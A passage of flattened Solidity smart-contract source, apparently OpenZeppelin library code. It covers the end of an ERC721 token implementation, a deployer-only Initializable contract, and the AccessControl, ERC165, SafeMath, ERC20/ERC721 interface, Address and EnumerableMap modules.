to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received( address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts/GSN/Context.sol"; /** * @title Initializable allows to create initializable contracts * so that only deployer can initialize contract and only once */ contract Initializable is Context { bool private _isContractInitialized; address private _deployer; constructor() public { _deployer = _msgSender(); } modifier initializer { require(_msgSender() == _deployer, "user not allowed to initialize"); require(!_isContractInitialized, "contract already initialized"); _; _isContractInitialized = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). 